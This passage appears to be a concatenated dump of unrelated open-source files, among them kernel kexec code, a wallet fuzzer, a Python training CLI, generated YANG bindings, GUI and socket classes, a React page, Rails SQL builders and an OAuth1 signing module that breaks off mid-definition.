*/\n\tlocal_irq_disable();\n\n\tpage_list = image->head;\n\n\t/* we need both effective and real address here */\n\treboot_code_buffer =\n\t\t\t(unsigned long)page_address(image->control_code_page);\n\n\t/* copy our kernel relocation code to the control code page */\n\tmemcpy((void *)reboot_code_buffer, relocate_new_kernel,\n\t\t\t\t\t\trelocate_new_kernel_size);\n\n kexec_info(image);\n\tflush_cache_all();\n\n\t/* now call it */\n\trnk = (relocate_new_kernel_t) reboot_code_buffer;\n\t(*rnk)(page_list, reboot_code_buffer, image->start, vbr_reg);\n}\n\n/* crashkernel=size@addr specifies the location to reserve for\n * a crash kernel. By reserving this memory we guarantee\n * that linux never sets it up as a DMA target.\n * Useful for holding code to do something appropriate\n * after a kernel panic.\n */\nstatic int __init parse_crashkernel(char *arg)\n{\n\tunsigned long size, base;\n\tsize = memparse(arg, &arg);\n\tif (*arg == '@') {\n\t\tbase = memparse(arg+1, &arg);\n\t\t/* FIXME: Do I want a sanity check\n\t\t * to validate the memory range?\n\t\t */\n\t\tcrashk_res.start = base;\n\t\tcrashk_res.end = base + size - 1;\n\t}\n\treturn 0;\n}\nearly_param(\"crashkernel\", parse_crashkernel);\n", "// Copyright (c) 2017-2018, The Enro Project\n// \n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are\n// permitted provided that the following conditions are met:\n// \n// 1. Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n// \n// 2. Redistributions in binary form must reproduce the above copyright notice, this list\n// of conditions and the following disclaimer in the documentation and/or other\n// materials provided with the distribution.\n// \n// 3. Neither the name of the copyright holder nor the names of its contributors may be\n// used to endorse or promote products derived from this software without specific\n// prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF\n// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"include_base_utils.h\"\n#include \"file_io_utils.h\"\n#include \"cryptonote_basic/blobdatatype.h\"\n#include \"cryptonote_basic/cryptonote_basic.h\"\n#include \"cryptonote_basic/cryptonote_format_utils.h\"\n#include \"wallet/wallet2.h\"\n#include \"fuzzer.h\"\n\nclass ColdOutputsFuzzer: public Fuzzer\n{\npublic:\n ColdOutputsFuzzer(): wallet(cryptonote::TESTNET) {}\n virtual int init();\n virtual int run(const std::string &filename);\n\nprivate:\n tools::wallet2 wallet;\n};\n\nint ColdOutputsFuzzer::init()\n{\n static const char * const spendkey_hex = \"0b4f47697ec99c3de6579304e5f25c68b07afbe55b71d99620bf6cbf4e45a80f\";\n crypto::secret_key spendkey;\n epee::string_tools::hex_to_pod(spendkey_hex, spendkey);\n\n try\n {\n wallet.init(\"\");\n wallet.set_subaddress_lookahead(1, 1);\n wallet.generate(\"\", \"\", spendkey, true, false);\n }\n catch (const std::exception &e)\n {\n std::cerr << \"Error on ColdOutputsFuzzer::init: \" << e.what() << std::endl;\n return 1;\n }\n return 0;\n}\n\nint ColdOutputsFuzzer::run(const std::string &filename)\n{\n std::string s;\n\n if (!epee::file_io_utils::load_file_to_string(filename, s))\n {\n std::cout << \"Error: failed to load file \" << filename << std::endl;\n return 1;\n }\n s = std::string(\"\\x01\\x16serialization::archive\") + s;\n try\n {\n std::vector outputs;\n std::stringstream iss;\n iss << s;\n boost::archive::portable_binary_iarchive ar(iss);\n ar >> outputs;\n size_t n_outputs = wallet.import_outputs(outputs);\n std::cout << boost::lexical_cast(n_outputs) << \" outputs imported\" << std::endl;\n }\n catch (const std::exception &e)\n {\n std::cerr << \"Failed to import outputs: \" << e.what() << std::endl;\n return 1;\n }\n return 0;\n}\n\nint main(int argc, const char **argv)\n{\n ColdOutputsFuzzer fuzzer;\n return run_fuzzer(argc, argv, fuzzer);\n}\n\n", "from datetime import datetime\nimport logging\nimport os\nimport subprocess\nimport sys\nfrom argparse import Namespace\n\nlogging.getLogger(\"transformers\").setLevel(logging.WARNING)\n\nimport click\nimport torch\n\nfrom luke.utils.model_utils import ModelArchive\n\nfrom zero.utils.experiment_logger import commet_logger_args, CometLogger, NullLogger\n\nLOG_FORMAT = \"[%(asctime)s] [%(levelname)s] %(message)s (%(funcName)s@%(filename)s:%(lineno)s)\"\n\ntry:\n import absl.logging\n\n # https://github.com/tensorflow/tensorflow/issues/27045#issuecomment-519642980\n logging.getLogger().removeHandler(absl.logging._absl_handler)\n absl.logging._warn_preinit_stderr = False\nexcept ImportError:\n pass\n\nlogger = logging.getLogger(__name__)\n\n\n@click.group()\n@click.option(\n \"--output-dir\", default=\"models\", type=click.Path()\n)\n@click.option(\"--num-gpus\", default=1)\n@click.option(\"--experiment-logger\", \"--logger\", type=click.Choice([\"comet\"]))\n@click.option(\"--master-port\", default=29500)\n@click.option(\"--local-rank\", \"--local_rank\", default=-1)\n@click.option(\"--model-file\", type=click.Path(exists=True))\n@click.option(\"--device-id\", type=int)\n@commet_logger_args\n@click.pass_context\ndef cli(ctx, **kwargs):\n args = Namespace(**kwargs)\n\n if args.local_rank == -1 and args.num_gpus > 1:\n current_env = os.environ.copy()\n current_env[\"MASTER_ADDR\"] = \"127.0.0.1\"\n current_env[\"MASTER_PORT\"] = str(args.master_port)\n current_env[\"WORLD_SIZE\"] = str(args.num_gpus)\n\n processes = []\n\n for args.local_rank in range(0, args.num_gpus):\n current_env[\"RANK\"] = str(args.local_rank)\n current_env[\"LOCAL_RANK\"] = str(args.local_rank)\n\n cmd = [sys.executable, \"-u\", \"-m\", \"examples.cli\", \"--local-rank={}\".format(args.local_rank)]\n cmd.extend(sys.argv[1:])\n\n process = subprocess.Popen(cmd, env=current_env)\n processes.append(process)\n\n for process in processes:\n process.wait()\n if process.returncode != 0:\n raise subprocess.CalledProcessError(returncode=process.returncode, cmd=cmd)\n\n sys.exit(0)\n else:\n if args.local_rank not in (-1, 0):\n logging.basicConfig(format=LOG_FORMAT, level=logging.WARNING)\n else:\n logging.basicConfig(format=LOG_FORMAT, level=logging.INFO)\n\n if not os.path.exists(args.output_dir) and args.local_rank in [-1, 0]:\n os.makedirs(args.output_dir)\n logger.info(\"Output dir: %s\", args.output_dir)\n\n # NOTE: ctx.obj is documented here: http://click.palletsprojects.com/en/7.x/api/#click.Context.obj\n ctx.obj = dict(local_rank=args.local_rank, output_dir=args.output_dir)\n\n if args.num_gpus == 0:\n ctx.obj[\"device\"] = torch.device(\"cpu\")\n elif args.local_rank == -1:\n ctx.obj[\"device\"] = torch.device(\"cuda:{}\".format(args.device_id))\n else:\n torch.cuda.set_device(args.local_rank)\n ctx.obj[\"device\"] = torch.device(\"cuda\", args.local_rank)\n torch.distributed.init_process_group(backend=\"nccl\")\n\n experiment_logger = NullLogger()\n\n if args.local_rank in (-1, 0) and args.experiment_logger == \"comet\":\n experiment_logger = CometLogger(args)\n\n experiment_logger.log_parameters({p.name: getattr(args, p.name) for p in cli.params})\n ctx.obj[\"experiment\"] = experiment_logger\n\n if args.model_file:\n model_archive = ModelArchive.load(args.model_file)\n ctx.obj[\"tokenizer\"] = model_archive.tokenizer\n ctx.obj[\"entity_vocab\"] = model_archive.entity_vocab\n ctx.obj[\"bert_model_name\"] = model_archive.bert_model_name\n ctx.obj[\"model_config\"] = model_archive.config\n ctx.obj[\"max_mention_length\"] = model_archive.max_mention_length\n ctx.obj[\"model_weights\"] = model_archive.state_dict\n\n experiment_logger.log_parameter(\"model_file_name\", os.path.basename(args.model_file))\n\n\nfrom zero.ner.main import cli as ner_cli\ncli.add_command(ner_cli)\n\n\nif __name__ == \"__main__\":\n cli()", "\nfrom operator import attrgetter\nimport pyangbind.lib.xpathhelper as xpathhelper\nfrom pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType\nfrom pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType\nfrom pyangbind.lib.base import PybindBase\nfrom decimal import Decimal\nfrom bitarray import bitarray\nimport __builtin__\nimport vlan\nclass access(PybindBase):\n \"\"\"\n This class was auto-generated by the PythonClass plugin for PYANG\n from YANG module brocade-interface - based on the path /interface/hundredgigabitethernet/switchport/access-mac-group-rspan-vlan-classification/access. Each member element of\n the container is represented as a class variable - with a specific\n YANG type.\n\n YANG Description: The access layer characteristics of this interface.\n \"\"\"\n __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__vlan',)\n\n _yang_name = 'access'\n _rest_name = 'access'\n\n _pybind_generated_by = 'container'\n\n def __init__(self, *args, **kwargs):\n\n path_helper_ = kwargs.pop(\"path_helper\", None)\n if path_helper_ is False:\n self._path_helper = False\n elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper):\n self._path_helper = path_helper_\n elif hasattr(self, \"_parent\"):\n path_helper_ = getattr(self._parent, \"_path_helper\", False)\n self._path_helper = path_helper_\n else:\n self._path_helper = False\n\n extmethods = kwargs.pop(\"extmethods\", None)\n if extmethods is False:\n self._extmethods = False\n elif extmethods is not None and isinstance(extmethods, dict):\n self._extmethods = extmethods\n elif hasattr(self, \"_parent\"):\n extmethods = getattr(self._parent, \"_extmethods\", None)\n self._extmethods = extmethods\n else:\n self._extmethods = False\n self.__vlan = YANGDynClass(base=YANGListType(\"access_vlan_id access_mac_group\",vlan.vlan, yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True)\n\n load = kwargs.pop(\"load\", None)\n if args:\n if len(args) > 1:\n raise TypeError(\"cannot create a YANG container with >1 argument\")\n all_attr = True\n for e in self._pyangbind_elements:\n if not hasattr(args[0], e):\n all_attr = False\n break\n if not all_attr:\n raise ValueError(\"Supplied object did not have the correct attributes\")\n for e in self._pyangbind_elements:\n nobj = getattr(args[0], e)\n if nobj._changed() is False:\n continue\n setmethod = getattr(self, \"_set_%s\" % e)\n if load is None:\n setmethod(getattr(args[0], e))\n else:\n setmethod(getattr(args[0], e), load=load)\n\n def _path(self):\n if hasattr(self, \"_parent\"):\n return self._parent._path()+[self._yang_name]\n else:\n return [u'interface', u'hundredgigabitethernet', u'switchport', u'access-mac-group-rspan-vlan-classification', u'access']\n\n def _rest_path(self):\n if hasattr(self, \"_parent\"):\n if self._rest_name:\n return self._parent._rest_path()+[self._rest_name]\n else:\n return self._parent._rest_path()\n else:\n return [u'interface', u'HundredGigabitEthernet', u'switchport', u'access']\n\n def _get_vlan(self):\n \"\"\"\n Getter method for vlan, mapped from YANG variable /interface/hundredgigabitethernet/switchport/access_mac_group_rspan_vlan_classification/access/vlan (list)\n \"\"\"\n return self.__vlan\n \n def _set_vlan(self, v, load=False):\n \"\"\"\n Setter method for vlan, mapped from YANG variable /interface/hundredgigabitethernet/switchport/access_mac_group_rspan_vlan_classification/access/vlan (list)\n If this variable is read-only (config: false) in the\n source YANG file, then _set_vlan is considered as a private\n method. Backends looking to populate this variable should\n do so via calling thisObj._set_vlan() directly.\n \"\"\"\n if hasattr(v, \"_utype\"):\n v = v._utype(v)\n try:\n t = YANGDynClass(v,base=YANGListType(\"access_vlan_id access_mac_group\",vlan.vlan, yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True)\n except (TypeError, ValueError):\n raise ValueError({\n 'error-string': \"\"\"vlan must be of a type compatible with list\"\"\",\n 'defined-type': \"list\",\n 'generated-type': \"\"\"YANGDynClass(base=YANGListType(\"access_vlan_id access_mac_group\",vlan.vlan, yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True)\"\"\",\n })\n\n self.__vlan = t\n if hasattr(self, '_set'):\n self._set()\n\n def _unset_vlan(self):\n self.__vlan = YANGDynClass(base=YANGListType(\"access_vlan_id access_mac_group\",vlan.vlan, yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name=\"vlan\", rest_name=\"rspan-vlan\", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True)\n\n vlan = __builtin__.property(_get_vlan, _set_vlan)\n\n\n _pyangbind_elements = {'vlan': vlan, }\n\n\n", " /* The smooth Class Library\n * Copyright (C) 1998-2014 Robert Kausch \n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of \"The Artistic License, Version 2.0\".\n *\n * THIS PACKAGE IS PROVIDED \"AS IS\" AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */\n\n#include \n#include \n#include \n\nconst S::Short\t S::GUI::GroupBox::classID = S::Object::RequestClassID();\n\nS::GUI::GroupBox::GroupBox(const String &iText, const Point &iPos, const Size &iSize) : Layer(iText)\n{\n\ttype\t = classID;\n\torientation = OR_UPPERLEFT;\n\n\tSetMetrics(iPos, iSize);\n\n\tif (GetWidth()\t== 0) SetWidth(80);\n\tif (GetHeight() == 0) SetHeight(80);\n\n\tComputeTextSize();\n}\n\nS::GUI::GroupBox::~GroupBox()\n{\n}\n\nS::Int S::GUI::GroupBox::Paint(Int message)\n{\n\tif (!IsRegistered()) return Error();\n\tif (!IsVisible()) return Success();\n\n\tswitch (message)\n\t{\n\t\tcase SP_PAINT:\n\t\t\t{\n\t\t\t\tSurface\t*surface = GetDrawSurface();\n\t\t\t\tRect\t frame\t = Rect(GetRealPosition(), GetRealSize());\n\n\t\t\t\tsurface->Frame(frame, FRAME_DOWN);\n\t\t\t\tsurface->Frame(frame + Point(1, 1) - Size(2, 2), FRAME_UP);\n\n\t\t\t\tRect\t textRect = Rect(GetRealPosition() + Point(10 * surface->GetSurfaceDPI() / 96.0, -Math::Ceil(Float(scaledTextSize.cy) / 2)), Size(scaledTextSize.cx, Math::Round(scaledTextSize.cy * 1.2)) + Size(3, 0) * surface->GetSurfaceDPI() / 96.0);\n\n\t\t\t\tsurface->Box(textRect, Setup::BackgroundColor, Rect::Filled);\n\n\t\t\t\tFont\t nFont\t = font;\n\n\t\t\t\tif (!IsActive()) nFont.SetColor(Setup::InactiveTextColor);\n\n\t\t\t\tsurface->SetText(text, textRect + Point(1, 0) * surface->GetSurfaceDPI() / 96.0, nFont);\n\t\t\t}\n\n\t\t\tbreak;\n\t}\n\n\treturn Layer::Paint(message);\n}\n\nS::Int S::GUI::GroupBox::Activate()\n{\n\tif (active) return Success();\n\n\tactive = True;\n\n\tPaint(SP_PAINT);\n\n\tonActivate.Emit();\n\n\treturn Success();\n}\n\nS::Int S::GUI::GroupBox::Deactivate()\n{\n\tif (!active) return Success();\n\n\tactive = False;\n\n\tPaint(SP_PAINT);\n\n\tonDeactivate.Emit();\n\n\treturn Success();\n}\n\nS::Int S::GUI::GroupBox::Show()\n{\n\tInt\t retVal = Layer::Show();\n\n\tPaint(SP_PAINT);\n\n\treturn retVal;\n}\n\nS::Int S::GUI::GroupBox::Hide()\n{\n\tif (IsRegistered() && IsVisible())\n\t{\n\t\tSurface\t*surface = GetDrawSurface();\n\n\t\tsurface->Box(Rect(GetRealPosition() - Point(0, 6) * surface->GetSurfaceDPI() / 96.0, GetRealSize() + Size(0, 6) * surface->GetSurfaceDPI() / 96.0), Setup::BackgroundColor, Rect::Filled);\n\t}\n\n\treturn Layer::Hide();\n}\n", "//\n// Copyright Aliaksei Levin (levlam@telegram.org), Arseny Smirnov (arseny30@gmail.com) 2014-2018\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n#include \"td/utils/port/SocketFd.h\"\n\n#include \"td/utils/logging.h\"\n\n#if TD_PORT_WINDOWS\n#include \"td/utils/misc.h\"\n#endif\n\n#if TD_PORT_POSIX\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#endif\n\nnamespace td {\n\nResult SocketFd::open(const IPAddress &address) {\n SocketFd socket;\n TRY_STATUS(socket.init(address));\n return std::move(socket);\n}\n\n#if TD_PORT_POSIX\nResult SocketFd::from_native_fd(int fd) {\n auto fd_guard = ScopeExit() + [fd]() { ::close(fd); };\n\n TRY_STATUS(detail::set_native_socket_is_blocking(fd, false));\n\n // TODO remove copypaste\n int flags = 1;\n setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&flags), sizeof(flags));\n setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, reinterpret_cast(&flags), sizeof(flags));\n setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, reinterpret_cast(&flags), sizeof(flags));\n // TODO: SO_REUSEADDR, SO_KEEPALIVE, TCP_NODELAY, SO_SNDBUF, SO_RCVBUF, TCP_QUICKACK, SO_LINGER\n\n fd_guard.dismiss();\n\n SocketFd socket;\n socket.fd_ = Fd(fd, Fd::Mode::Owner);\n return std::move(socket);\n}\n#endif\n\nStatus SocketFd::init(const IPAddress &address) {\n auto fd = socket(address.get_address_family(), SOCK_STREAM, 0);\n#if TD_PORT_POSIX\n if (fd == -1) {\n#elif TD_PORT_WINDOWS\n if (fd == INVALID_SOCKET) {\n#endif\n return OS_SOCKET_ERROR(\"Failed to create a socket\");\n }\n auto fd_quard = ScopeExit() + [fd]() {\n#if TD_PORT_POSIX\n ::close(fd);\n#elif TD_PORT_WINDOWS\n ::closesocket(fd);\n#endif\n };\n\n TRY_STATUS(detail::set_native_socket_is_blocking(fd, false));\n\n#if TD_PORT_POSIX\n int flags = 1;\n#elif TD_PORT_WINDOWS\n BOOL flags = TRUE;\n#endif\n setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&flags), sizeof(flags));\n setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, reinterpret_cast(&flags), sizeof(flags));\n setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, reinterpret_cast(&flags), sizeof(flags));\n // TODO: SO_REUSEADDR, SO_KEEPALIVE, TCP_NODELAY, SO_SNDBUF, SO_RCVBUF, TCP_QUICKACK, SO_LINGER\n\n#if TD_PORT_POSIX\n int e_connect = connect(fd, address.get_sockaddr(), static_cast(address.get_sockaddr_len()));\n if (e_connect == -1) {\n auto connect_errno = errno;\n if (connect_errno != EINPROGRESS) {\n return Status::PosixError(connect_errno, PSLICE() << \"Failed to connect to \" << address);\n }\n }\n fd_ = Fd(fd, Fd::Mode::Owner);\n#elif TD_PORT_WINDOWS\n auto bind_addr = address.get_any_addr();\n auto e_bind = bind(fd, bind_addr.get_sockaddr(), narrow_cast(bind_addr.get_sockaddr_len()));\n if (e_bind != 0) {\n return OS_SOCKET_ERROR(\"Failed to bind a socket\");\n }\n\n fd_ = Fd::create_socket_fd(fd);\n fd_.connect(address);\n#endif\n\n fd_quard.dismiss();\n return Status::OK();\n}\n\nconst Fd &SocketFd::get_fd() const {\n return fd_;\n}\n\nFd &SocketFd::get_fd() {\n return fd_;\n}\n\nvoid SocketFd::close() {\n fd_.close();\n}\n\nbool SocketFd::empty() const {\n return fd_.empty();\n}\n\nint32 SocketFd::get_flags() const {\n return fd_.get_flags();\n}\n\nStatus SocketFd::get_pending_error() {\n return fd_.get_pending_error();\n}\n\nResult SocketFd::write(Slice slice) {\n return fd_.write(slice);\n}\n\nResult SocketFd::read(MutableSlice slice) {\n return fd_.read(slice);\n}\n\n} // namespace td\n", "import { BAKED_BASE_URL, WORDPRESS_URL } from 'settings'\nimport * as React from 'react'\nimport { Head } from './Head'\nimport { CitationMeta } from './CitationMeta'\nimport { SiteHeader } from './SiteHeader'\nimport { SiteFooter } from './SiteFooter'\nimport { formatAuthors, FormattedPost, FormattingOptions } from '../formatting'\nimport { CategoryWithEntries } from 'db/wpdb'\nimport * as _ from 'lodash'\nimport { SiteSubnavigation } from './SiteSubnavigation'\n\nexport const LongFormPage = (props: { entries: CategoryWithEntries[], post: FormattedPost, formattingOptions: FormattingOptions }) => {\n const {entries, post, formattingOptions} = props\n const authorsText = formatAuthors(post.authors, true)\n\n const pageTitle = post.title\n const canonicalUrl = `${BAKED_BASE_URL}/${post.slug}`\n const pageDesc = post.excerpt\n const publishedYear = post.modifiedDate.getFullYear()\n const allEntries = _.flatten(_.values(entries).map(c => c.entries))\n const isEntry = _.includes(allEntries.map(e => e.slug), post.slug)\n\n const classes = [\"LongFormPage\"]\n if (formattingOptions.bodyClassName)\n classes.push(formattingOptions.bodyClassName)\n\n const bibtex = `@article{owid${post.slug.replace(/-/g, '')},\n author = {${authorsText}},\n title = {${pageTitle}},\n journal = {Our World in Data},\n year = {${publishedYear}},\n note = {${canonicalUrl}}\n}`\n\n return \n \n {isEntry && }\n \n \n \n {formattingOptions.subnavId && }\n
    \n
    \n
    \n

    {post.title}

    \n {!formattingOptions.hideAuthors && }\n
    \n\n
    \n {post.tocHeadings.length > 0 && }\n\n
    \n
    \n
    \n {post.acknowledgements && \n

    Acknowledgements

    \n
    \n }\n\n {post.footnotes.length ? \n

    References

    \n
      \n {post.footnotes.map((footnote, i) =>\n
    1. \n

      \n

    2. \n )}\n
    \n
    : undefined}\n\n {isEntry && \n

    Citation

    \n

    \n Our articles and data visualizations rely on work from many different people and organizations. When citing this entry, please also cite the underlying data sources. This entry can be cited as:\n

    \n
    \n                                        {authorsText} ({publishedYear}) - \"{pageTitle}\". Published online at OurWorldInData.org. Retrieved from: '{canonicalUrl}' [Online Resource]\n                                    
    \n

    \n BibTeX citation\n

    \n
    \n                                        {bibtex}\n                                    
    \n
    }\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n \n \n \n}\n", "require 'active_support/core_ext/string/strip'\n\nmodule ActiveRecord\n module ConnectionAdapters\n class AbstractAdapter\n class SchemaCreation # :nodoc:\n def initialize(conn)\n @conn = conn\n @cache = {}\n end\n\n def accept(o)\n m = @cache[o.class] ||= \"visit_#{o.class.name.split('::').last}\"\n send m, o\n end\n\n def visit_AddColumn(o)\n \"ADD #{accept(o)}\"\n end\n\n private\n\n def visit_AlterTable(o)\n sql = \"ALTER TABLE #{quote_table_name(o.name)} \"\n sql << o.adds.map { |col| visit_AddColumn col }.join(' ')\n sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(' ')\n sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(' ')\n end\n\n def visit_ColumnDefinition(o)\n sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale)\n column_sql = \"#{quote_column_name(o.name)} #{sql_type}\"\n add_column_options!(column_sql, column_options(o)) unless o.primary_key?\n column_sql\n end\n\n def visit_TableDefinition(o)\n create_sql = \"CREATE#{' TEMPORARY' if o.temporary} TABLE \"\n create_sql << \"#{quote_table_name(o.name)} \"\n create_sql << \"(#{o.columns.map { |c| accept c }.join(', ')}) \" unless o.as\n create_sql << \"#{o.options}\"\n create_sql << \" AS #{@conn.to_sql(o.as)}\" if o.as\n create_sql\n end\n\n def visit_AddForeignKey(o)\n sql = <<-SQL.strip_heredoc\n ADD CONSTRAINT #{quote_column_name(o.name)}\n FOREIGN KEY (#{quote_column_name(o.column)})\n REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)})\n SQL\n sql << \" #{action_sql('DELETE', o.on_delete)}\" if o.on_delete\n sql << \" #{action_sql('UPDATE', o.on_update)}\" if o.on_update\n sql\n end\n\n def visit_DropForeignKey(name)\n \"DROP CONSTRAINT #{quote_column_name(name)}\"\n end\n\n def column_options(o)\n column_options = {}\n column_options[:null] = o.null unless o.null.nil?\n column_options[:default] = o.default unless o.default.nil?\n column_options[:column] = o\n column_options[:first] = o.first\n column_options[:after] = o.after\n column_options\n end\n\n def quote_column_name(name)\n @conn.quote_column_name name\n end\n\n def quote_table_name(name)\n @conn.quote_table_name name\n end\n\n def type_to_sql(type, limit, precision, scale)\n @conn.type_to_sql type.to_sym, limit, precision, scale\n end\n\n def add_column_options!(sql, options)\n sql << \" DEFAULT #{quote_value(options[:default], options[:column])}\" if options_include_default?(options)\n # must explicitly check for :null to allow change_column to work on migrations\n if options[:null] == false\n sql << \" NOT NULL\"\n end\n if options[:auto_increment] == true\n sql << \" AUTO_INCREMENT\"\n end\n sql\n end\n\n def quote_value(value, column)\n column.sql_type ||= type_to_sql(column.type, column.limit, column.precision, column.scale)\n column.cast_type ||= type_for_column(column)\n\n @conn.quote(value, column)\n end\n\n def options_include_default?(options)\n options.include?(:default) && !(options[:null] == false && options[:default].nil?)\n end\n\n def action_sql(action, dependency)\n case dependency\n when :nullify then \"ON #{action} SET NULL\"\n when :cascade then \"ON #{action} CASCADE\"\n when :restrict then \"ON #{action} RESTRICT\"\n else\n raise ArgumentError, <<-MSG.strip_heredoc\n '#{dependency}' is not supported for :on_update or :on_delete.\n Supported values are: :nullify, :cascade, :restrict\n MSG\n end\n end\n\n def type_for_column(column)\n @conn.lookup_cast_type(column.sql_type)\n end\n end\n end\n end\nend\n", "\"\"\"OAuth1 module written according to http://oauth.net/core/1.0/#signing_process\"\"\"\nimport base64\nimport hmac\nimport requests # requests must be loaded so that urllib receives the parse module\nimport time\nimport urllib\n\nfrom hashlib import sha1\nfrom six import b\nfrom uuid import uuid4\n\nuse_parse_quote = not hasattr(urllib, 'quote')\n\nif use_parse_quote:\n _quote_func = urllib.parse.quote\nelse:\n _quote_func = urllib.quote\n\n\ndef _quote(obj):\n return _quote_func(str(obj), safe='')\n\n\ndef normalize_query_parameters(params):\n \"\"\"9.1.1. Normalize Request Parameters\"\"\"\n return '&'.join(map(lambda pair: '='.join([_quote(pair[0]), _quote(pair[1])]), sorted(params.items())))\n\n\ndef concatenate_request_elements(method, url, query):\n \"\"\"9.1.3. Concatenate Request Elements\"\"\"\n return '&'.join(map(_quote, [str(method).upper(), url, query]))\n\n\ndef hmac_sha1(base_string, hmac_key):\n \"\"\"9.2. HMAC-SHA1\"\"\"\n hash = hmac.new(b(hmac_key), b(base_string), sha1)\n return hash.digest()\n\n\ndef encode(digest):\n \"\"\"9.2.1. Generating Signature\"\"\"\n return base64.b64encode(digest).decode('ascii').rstrip('\\n')\n\n\ndef add_oauth_entries_to_fields_dict(secret, params, nonce=None, timestamp=None):\n \"\"\" Adds dict entries to the user's params dict which are required for OAuth1.0 